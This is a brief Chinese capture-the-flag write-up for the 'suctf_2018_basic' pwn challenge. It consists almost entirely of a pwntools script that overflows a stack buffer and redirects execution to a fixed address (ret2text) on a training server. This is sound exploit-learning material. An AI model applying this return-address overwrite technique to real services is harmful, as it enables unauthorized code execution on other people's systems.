suctf_2018_basic
作者:互联网
suctf_2018_basic
查看保护
ret2text即可。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28575)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
bk = 0x401157
p1 = b'a' * (0x110 + 8) + p64(bk)
r.sendline(p1)
r.interactive()
标签:suctf,name,bk,2018,file,basic,debug 来源: https://blog.csdn.net/zzq487782568/article/details/122436047